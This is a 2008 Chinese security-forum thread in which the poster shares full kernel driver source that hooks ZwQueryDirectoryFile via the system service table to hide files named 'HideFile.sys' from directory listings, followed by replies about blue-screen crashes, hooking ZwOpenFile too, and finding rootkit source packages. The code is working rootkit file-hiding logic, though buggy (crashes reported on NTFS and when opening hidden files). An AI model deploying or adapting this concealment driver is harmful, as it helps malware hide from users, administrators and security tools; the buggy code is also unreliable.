首页
论坛
课程
招聘
[分享]hook ZwQueryDirectoryFile实现文件隐藏
2008-4-23 19:52 50557

[分享]hook ZwQueryDirectoryFile实现文件隐藏

2008-4-23 19:52
50557
学习了网上《编写驱动拦截NT的API实现隐藏文件目录》这篇文章 参考这篇文章的代码 自己试着写了下 现发出来我调试成功的代码 给需要的朋友们


#include "ntddk.h"

typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;
// This is our unload function
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
    unsigned int *ServiceTableBase;
    unsigned int *ServiceCounterTableBase;
    unsigned int NumberOfServices;
    unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG           NextEntryOffset;
    ULONG           FileIndex;
    LARGE_INTEGER   CreationTime;
    LARGE_INTEGER   LastAccessTime;
    LARGE_INTEGER   LastWriteTime;
    LARGE_INTEGER   ChangeTime;
    LARGE_INTEGER   EndOfFile;
    LARGE_INTEGER   AllocationSize;
    ULONG           FileAttributes;
    ULONG           FileNameLength;
    ULONG           EaSize;
    CCHAR           ShortNameLength;
    WCHAR           ShortName[12];
    WCHAR           FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;


// Our System Call Table
PVOID* NewSystemCallTable;

// Our Memory Descriptor List
PMDL pMyMDL;

#define HOOK_INDEX(function2hook) *(PULONG)((PUCHAR)function2hook+1)

#define HOOK(functionName, newPointer2Function, oldPointer2Function )  \
       oldPointer2Function = (PVOID) InterlockedExchange( (PLONG) &NewSystemCallTable[HOOK_INDEX(functionName)], (LONG) newPointer2Function)

#define UNHOOK(functionName, oldPointer2Function)  \
       InterlockedExchange( (PLONG) &NewSystemCallTable[HOOK_INDEX(functionName)], (LONG) oldPointer2Function)

NTSYSAPI
NTSTATUS
NTAPI ZwQueryDirectoryFile(
  IN  HANDLE FileHandle,
  IN  HANDLE Event OPTIONAL,
  IN  PIO_APC_ROUTINE ApcRoutine OPTIONAL,
  IN  PVOID ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK IoStatusBlock,
  OUT PVOID FileInformation,
  IN  ULONG Length,
  IN  FILE_INFORMATION_CLASS FileInformationClass,
  IN  BOOLEAN ReturnSingleEntry,
  IN  PUNICODE_STRING FileName OPTIONAL,
  IN  BOOLEAN RestartScan
  );


typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(
            IN  HANDLE FileHandle,
  IN  HANDLE Event OPTIONAL,
  IN  PIO_APC_ROUTINE ApcRoutine OPTIONAL,
  IN  PVOID ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK IoStatusBlock,
  OUT PVOID FileInformation,
  IN  ULONG Length,
  IN  FILE_INFORMATION_CLASS FileInformationClass,
  IN  BOOLEAN ReturnSingleEntry,
  IN  PUNICODE_STRING FileName OPTIONAL,
  IN  BOOLEAN RestartScan
  );

ZWQUERYDIRECTORYFILE        OldZwQueryDirectoryFile;

NTSTATUS NewZwQueryDirectoryFile(
                        IN  HANDLE FileHandle,
  IN  HANDLE Event OPTIONAL,
  IN  PIO_APC_ROUTINE ApcRoutine OPTIONAL,
  IN  PVOID ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK IoStatusBlock,
  OUT PVOID FileInformation,
  IN  ULONG Length,
  IN  FILE_INFORMATION_CLASS FileInformationClass,
  IN  BOOLEAN ReturnSingleEntry,
  IN  PUNICODE_STRING FileName OPTIONAL,
  IN  BOOLEAN RestartScan
  )
{
	NTSTATUS status;
	ULONG CR0VALUE;
 
	ANSI_STRING ansiFileName,ansiDirName,HideDirFile;
	UNICODE_STRING uniFileName;
	RtlInitAnsiString(&HideDirFile,"HideFile.sys"); 
	DbgPrint("hide: NewZwQueryDirectoryFile called.");

	status = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) (
									FileHandle,
									Event,
									ApcRoutine,
									ApcContext,
									IoStatusBlock,
									FileInformation,
									Length,
									FileInformationClass,
									ReturnSingleEntry,
									FileName,
									RestartScan);
	//这部分是隐藏文件的核心部分
    if(NT_SUCCESS(status)&&FileInformationClass==FileBothDirectoryInformation)
	{
		PFILE_BOTH_DIR_INFORMATION pFileInfo;
		PFILE_BOTH_DIR_INFORMATION pLastFileInfo;
		BOOLEAN bLastOne;
		pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformation; 
		pLastFileInfo = NULL;
		do
		{
			bLastOne = !( pFileInfo->NextEntryOffset );
			RtlInitUnicodeString(&uniFileName,pFileInfo->FileName);
			RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
			RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);

			//DbgPrint("ansiFileName :%s\n",ansiFileName.Buffer);
			//DbgPrint("HideDirFile :%s\n",HideDirFile.Buffer);
			if( RtlCompareMemory(ansiFileName.Buffer,HideDirFile.Buffer,HideDirFile.Length ) == HideDirFile.Length)
			{
					if(bLastOne) 
					{
							pLastFileInfo->NextEntryOffset = 0;
						break;
					} 
					else //指针往后移动
					{
						int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformation;
						int iLeft = (DWORD)Length - iPos - pFileInfo->NextEntryOffset;
						RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft );
						continue;
					}
			}
			pLastFileInfo = pFileInfo;
			pFileInfo = (PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset);
		}while(!bLastOne);
		RtlFreeAnsiString(&ansiDirName); 
		RtlFreeAnsiString(&ansiFileName);
	}

	return status;
}

NTSTATUS Hook( )
{
	pMyMDL = MmCreateMdl(	NULL,
					KeServiceDescriptorTable.ServiceTableBase,
					KeServiceDescriptorTable.NumberOfServices * 4 );

	if( !pMyMDL )
		return( STATUS_UNSUCCESSFUL );

	MmBuildMdlForNonPagedPool( pMyMDL );
	pMyMDL->MdlFlags = pMyMDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
	NewSystemCallTable = MmMapLockedPages( pMyMDL, KernelMode );

	if( !NewSystemCallTable )
		return( STATUS_UNSUCCESSFUL );
	
	// Add hooks here (remember to unhook if using DriverUnload)

	HOOK( ZwQueryDirectoryFile,NewZwQueryDirectoryFile ,OldZwQueryDirectoryFile);

	return( STATUS_SUCCESS );
}
NTSTATUS UnHook( )
{
	if( NewSystemCallTable )
	{
			UNHOOK( ZwQueryDirectoryFile, OldZwQueryDirectoryFile );
			MmUnmapLockedPages( NewSystemCallTable, pMyMDL );
			IoFreeMdl( pMyMDL );
	}
	return( STATUS_SUCCESS );
}

NTSTATUS OnUnload( IN PDRIVER_OBJECT DriverObject )

{
		NTSTATUS status;
		DbgPrint("OnUnload called\n");
		status=UnHook();
		return status;

}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,

                     IN PUNICODE_STRING theRegistryPath)

{
		NTSTATUS       status = STATUS_SUCCESS;

		DbgPrint("I loaded!");

      // Initialize the pointer to the unload function
		theDriverObject->DriverUnload  = OnUnload;
      // in the DriverObject
      
	  //hook
		Hook();

		return STATUS_SUCCESS;

}

第五届安全开发者峰会(SDC 2021)10月23日上海召开!限时2.5折门票(含自助午餐1份)

收藏
点赞0
打赏
分享
最新回复 (35)
雪    币: 109
活跃值: 活跃值 (134)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
combojiang 活跃值 26 2008-4-23 20:06
2
0
不错,学习了
雪    币: 478
活跃值: 活跃值 (640)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
sudami 活跃值 25 2008-4-23 20:12
3
0
N老的code了。
雪    币: 207
活跃值: 活跃值 (16)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
hfyy 活跃值 2 2008-4-23 20:15
4
0
对于我这个新手来说什么都是新的哦
还请大侠们多给我们新手更新一下知识哦
雪    币: 230
活跃值: 活跃值 (10)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
winnip 活跃值 1 2008-4-23 20:26
5
0
这位大大,请问你的编译平台机器如何配置的?可以说给我新手听吗?
雪    币: 207
活跃值: 活跃值 (16)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
hfyy 活跃值 2 2008-4-24 08:49
6
0
主要就是ddk啊 我用的editplus
雪    币: 441
活跃值: 活跃值 (57)
能力值: ( LV12,RANK:600 )
在线值:
发帖
回帖
粉丝
Sysnap 活跃值 14 2008-4-24 10:37
7
0
帮你顶一下..呵呵
雪    币: 217
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
百折不挠 活跃值 2008-4-30 16:16
8
0
能不能给个调用实例?
雪    币: 207
活跃值: 活跃值 (16)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
hfyy 活跃值 2 2008-4-30 16:58
9
0
调用很简单了  或者使用工具安装 我测试程序的时候都没写调用 就用的这个tool
上传的附件:
雪    币: 207
活跃值: 活跃值 (16)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
hfyy 活跃值 2 2008-4-30 17:32
10
0
请朋友们帮我测试上面程序  原来正常使用 现在却蓝屏 我怀疑是金山2008在捣鬼!
雪    币: 207
活跃值: 活跃值 (16)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
hfyy 活跃值 2 2008-4-30 19:30
11
0
我的猜测是错的 原来我的程序在ntfs文件格式的盘上会蓝屏 请问大侠们 为什么?
雪    币: 208
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
hpxpj 活跃值 1 2008-4-30 23:19
12
0

int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformation;
int iLeft = (DWORD)Length - iPos - pFileInfo->NextEntryOffset;
RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft );

怎么理解?
我把它改成:
pLastFileInfo->NextEntryOffset+=pFileInfo->NextEntryOffset;

pLastFileInfo->FileAttributes=FILE_ATTRIBUTE_HIDDEN;
可以达到隐藏文件的效果,但是在ntfs文件系统下还是会蓝屏
雪    币: 222
活跃值: 活跃值 (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
WinDbg 活跃值 2008-5-1 11:41
13
0
[QUOTE=;]...[/QUOTE]
To hpxpj:
这是修改NtQueryFileDirectory返回的信息。查询返回的是一个链表,NextEntryOffset指向链表中下一个元素,而RtlCopyMemory是将需要隐藏文件所在元素内容用下一个元素内容来覆盖以达到隐藏效果。
至于你的pLastFileInfo->FileAttributes=FILE_ATTRIBUTE_HIDDEN这个是可能达到隐藏效果,但这样做类似于平常给文件加隐藏属性一样,只需要打开显示所有文件就可以显示出来了。所以说你的第二个所谓的隐藏根本没意义。

以上仅是个人理解,如有错误,还望各位大侠指出。
雪    币: 202
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
totohack 活跃值 2008-5-2 22:00
14
0
在这问大侠几个问题

怎么修改 ZwQueryDirectoryFile() 返回值 Length ,使 Length = (原 Length) - (隐藏 Length)
也就是怎么获得被 隐藏 FileInformation 的 Length ,不是 FileInformation 结构的长度

缓冲区在线性地址中一定是连续的吗

还有楼主
        int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformation;
            int iLeft = (DWORD)Length - iPos - pFileInfo->NextEntryOffset;
            RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft );

可能是 BSOD 的原因,假如缓冲区不是连续的,上面的代码想不 BSOD 都难啦
雪    币: 207
活跃值: 活跃值 (16)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
hfyy 活跃值 2 2008-5-2 22:27
15
0
我估计bsod的原因应该是没处理好文件系统之间的问题吧 ntfs和fat32之间
雪    币: 301
活跃值: 活跃值 (35)
能力值: ( LV13,RANK:330 )
在线值:
发帖
回帖
粉丝
HSQ 活跃值 8 2008-5-4 10:15
16
0
这个只能当了解,真正用是还是会被ARK轻易检测出来
雪    币: 217
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
百折不挠 活跃值 2008-5-7 08:44
17
0
用XPDDK编译后方可隐藏,但是,隐藏的目录或文件不能被打开,一旦被打开就蓝屏。
比如,我隐藏了目录abc,我在地址栏里打入目录名abc回车后就蓝屏了,这是什么原因,要怎么解决?
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wguolcy 活跃值 2008-5-21 15:08
18
0
学习了以上内容有两个问题请教:
  1、为什么一读取隐藏的文件或文件夹,系统就崩溃重新启动?
    如隐藏D:\flashget.htm,在D:\执行dir flashget.htm就出现这故障,
    如隐藏文件夹,一进入这文件夹也是这样,
    如隐藏文件夹D:\txt,在D:\执行cd txt就出现这故障.
    这是个致命的Bug。
  2、如何隐藏指定路径的文件? 如D:\txt\txt.dat
  望高手们不吝赐教,一切烦劳!我的系统:WINXP+SP1+VC6+WINXPDDK
雪    币: 202
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
totohack 活跃值 2008-5-21 16:34
19
0
发表下菜鸟的意见,可能还需要Hook ZwOpenFile 函数,当打开被隐藏的文件时,给它个文件不存在
雪    币: 91
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
垃圾一个 活跃值 2008-5-21 17:42
20
0
rootkit网上介绍很多.下一个包.里面很多.不过现在没有人还研究这个了.好象喜欢搞np.
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wguolcy 活跃值 2008-5-22 11:30
21
0
请问如何Hook ZwOpenFile 函数,能否给出代码?
请问哪里有rootkit的源码包下载,请告知,一切烦劳!多谢了!
还有个问题:什么是np?
雪    币: 202
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
totohack 活跃值 2008-5-24 12:26
22
0
根据楼主的代码,依样画葫芦

NP,好像是用来保护游戏的
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wguolcy 活跃值 2008-5-25 14:28
23
0
多谢了!!!:-)
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wguolcy 活跃值 2008-5-26 09:30
24
0
1.请问如获得过滤文件的全部路径?如D:\txt\read.txt,如何得到D:\txt
2.请问如何隐藏指定路径的文件?如要隐藏d:\txt\read.txt,而不是隐藏所有的read.txt.
  烦请高手赐教,一切烦劳!
雪    币: 206
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jjgogo 活跃值 2008-5-27 08:08
25
0
学习学习
多谢楼主分享
游客
登录 | 注册 方可回帖
返回